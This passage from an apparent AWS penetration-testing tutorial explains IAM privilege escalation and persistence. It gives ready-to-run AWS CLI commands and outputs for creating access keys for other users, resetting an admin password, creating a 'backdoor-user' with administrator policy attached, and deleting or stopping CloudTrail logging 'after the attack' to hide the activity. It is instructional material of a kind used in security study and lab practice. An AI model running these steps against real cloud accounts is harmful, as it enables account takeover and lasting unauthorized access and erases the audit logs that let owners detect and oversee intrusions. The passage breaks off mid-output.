class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyNames&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AssumeRole&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;ListRoles&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now we can see all its permissions, which raises a question. Anyone can tell what the three managed policies above do. They&amp;rsquo;re all standard policies, and we already know their exact permissions. Why insist on reading the policy document with iam:GetPolicyVersion? And why do these three permissions specifically need to be used together?&#10;iam list-policies (lists all managed policies in the account)&#10;iam get-policy (queries a policy&amp;rsquo;s default version)&#10;iam GetPolicyVersion (the most important one; reads the full policy document)&#10;Isn&amp;rsquo;t that just extra work? I had serious doubts about it too. In practice, though, this permission is still quite dangerous. The exact attack chain depends on the environment. It primarily matters for custom policies. What if the three managed policies found above were not standard AWS policies? You wouldn&amp;rsquo;t be able to confirm what permissions they grant. With iam:GetPolicyVersion, you can read them and find out exactly what they allow. If the policy contains any of the permissions in the table below, there is a lot you can do with it.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Abusable Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Risk&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows a highly privileged role to be attached to Lambda / EC2 for privilege escalation&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows switching to a highly privileged role&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:CreateUser&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows creating a new IAM user as a persistent backdoor&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:AttachUserPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows attaching administrator privileges to a low-privilege user&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows creating access keys for other users&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:UpdateFunctionCode&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows modifying Lambda code to introduce malicious operations&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;This attack chain assumes you know that a role has a particular custom managed policy attached, then inspect how that managed policy is actually written.&#10;The next question is: what do the other two of these three permissions have to do with it, and why mention them at all?&#10;iam list-policies (lists all managed policies in the account)&#10;iam get-policy (queries a policy&amp;rsquo;s default version)&#10;iam GetPolicyVersion (the most important one; reads the full policy document)&#10;We can use the first command to find every policy. If we discover a nonstandard custom managed policy, we check its version, retrieve the full document for its default version, and then use the custom policy to work out who it may have been assigned to—in other words, who has been granted that custom policy. We could even build a PoC that iterates over every role, or use the permission below to find the answer directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Determine which users, roles, or groups the policy is attached to.&#10;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListEntitiesForPolicy&lt;/code&gt; (lists the entities to which the policy is attached).&#10;&lt;strong&gt;Command&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyGroups&amp;#34;: [],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyUsers&amp;#34;: [{&amp;#34;UserName&amp;#34;: &amp;#34;BackdoorUser&amp;#34;}],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyRoles&amp;#34;: [{&amp;#34;RoleName&amp;#34;: &amp;#34;AdminRole&amp;#34;}]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point, we can identify the target role. If we have permission to use that role—or query its trust policy with get-role—we can then use arn:aws:iam::123456789012:policy/AdminPolicy.&lt;/p&gt;&#10;&lt;p&gt;That brings us right back to switching roles with sts:AssumeRole. This is the complete attack chain.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-2"&gt;&lt;a href="#additional-notes-2" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;It may look a little complicated, but this is still a high-risk permission. It lets you read many policies, even if some of the possible uses feel a bit underwhelming. Some companies may define a whole pile of custom policies. AWS has taken the permission model about as far as it can go, but a single policy mistake by an administrator can still open the door to an attacker.&lt;/p&gt;&#10;&lt;h3 id="iamcreateaccesskey-creating-a-new-access-key"&gt;&lt;a href="#iamcreateaccesskey-creating-a-new-access-key" class="header-anchor"&gt;&lt;/a&gt;iam:CreateAccessKey: Creating a New Access Key&#10;&lt;/h3&gt;&lt;h4 id="theory-3"&gt;&lt;a href="#theory-3" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An Access Key is an AWS account credential&lt;/strong&gt;, equivalent to the username and password for the root account.&lt;/p&gt;&#10;&lt;p&gt;With &lt;code&gt;iam:CreateAccessKey&lt;/code&gt;, an attacker can create a new Access Key for themselves. Even if the original credentials are revoked, the attacker can still access AWS resources.&lt;/p&gt;&#10;&lt;p&gt;This is a &lt;strong&gt;persistence&lt;/strong&gt; technique that lets an attacker &lt;strong&gt;retain access over the long term&lt;/strong&gt; after gaining initial access to an AWS account, even if an administrator deletes the original credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This one is fairly easy to understand. Once we obtain the target user&amp;rsquo;s permissions somehow—note that I mean user permissions, not role permissions, because roles only have short-lived keys while users can have long-lived keys—we just generate a new access key.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="setting-up-the-environment"&gt;&lt;a href="#setting-up-the-environment" class="header-anchor"&gt;&lt;/a&gt;Setting Up the Environment&#10;&lt;/h4&gt;&lt;p&gt;Just create a user with the &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; permission. We can delete it later.&lt;/p&gt;&#10;&lt;p&gt;I won&amp;rsquo;t go into every detail here. In short, create a user with nothing else configured, give it a name, and then go to its inline policies.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s all we need.&lt;/p&gt;&#10;&lt;p&gt;Next, create an access key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just keep clicking Next until you&amp;rsquo;re done.&#10;Now add it to the AWS CLI configuration.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All set. Let&amp;rsquo;s reproduce it.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-3"&gt;&lt;a href="#reproduction-and-verification-3" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name test&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s really all there is to it. If you want to go a little further, the following two commands can help confirm whether the account you&amp;rsquo;re checking has the create-access-key permission.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Looking at these commands, you may wonder: since &amp;lt;target-user&amp;gt; is a variable, can we generate an access key for someone else? The answer is yes, but you need the following permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; + &lt;code&gt;iam:UpdateUser&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;With both permissions, you can specify any user you want. AWS even allows &lt;code&gt;iam:UpdateUser&lt;/code&gt;, so you can also change another user&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam update-login-profile --user-name admin --password &amp;#34;NewSuperSecurePassword&amp;#34; --password-reset-required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s see whether an administrator account can generate another access key for the &lt;code&gt;test&lt;/code&gt; account we just created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. Administrator privileges are as powerful as ever.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-3"&gt;&lt;a href="#additional-notes-3" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;One more point about persistence: when you generate an access key, it will definitely be recorded in the logs. Deleting the trail here can help maintain persistence. Of course, this requires CloudTrail permissions.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AWS CloudTrail records &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; events. It is recommended to delete the CloudTrail logs after the attack:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail delete-trail --name default-trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Stop CloudTrail logging (stealthier, but riskier):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name default-trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create multiple Access Keys&lt;/strong&gt; (a user can have at most 2 Access Keys):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a hidden user&lt;/strong&gt; (if you have the &lt;code&gt;iam:CreateUser&lt;/code&gt; permission):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Give the new Access Key higher privileges&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name &amp;lt;target-user&amp;gt; --policy-arn arn:aws:iam::aws:policy/Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="additional-iam-penetration-techniques"&gt;&lt;a href="#additional-iam-penetration-techniques" class="header-anchor"&gt;&lt;/a&gt;Additional IAM Penetration Techniques&#10;&lt;/h3&gt;&lt;p&gt;According to the outline, we&amp;rsquo;ve finished the four main sections. There are still a few IAM permission-based penetration techniques left, though. They aren&amp;rsquo;t difficult, so I&amp;rsquo;m including them as a supplement. There is no need to set up another environment. If you&amp;rsquo;ve mastered the four sections above, remembering the commands below should be enough to understand how they work.&lt;/p&gt;&#10;&lt;h4 id="iamcreateuser-creating-a-new-iam-user"&gt;&lt;a href="#iamcreateuser-creating-a-new-iam-user" class="header-anchor"&gt;&lt;/a&gt;&lt;code&gt;iam:CreateUser&lt;/code&gt; (Creating a New IAM User)&#10;&lt;/h4&gt;&lt;p&gt;Concept&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Allows the creation of new IAM users and can be used as a &lt;strong&gt;persistent backdoor&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt;: An attacker can create a new administrator account. Even if an administrator deletes the other credentials, the attacker can still access AWS.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Create a new IAM user&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;User&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Path&amp;#34;: &amp;#34;/&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;CreateDate&amp;#34;: &amp;#34;2025-03-06T12:34:56Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Create an Access Key for the new user&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKey&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;Active&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;CreateDate&amp;#34;: &amp;#34;2025-03-06T12:34:56Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 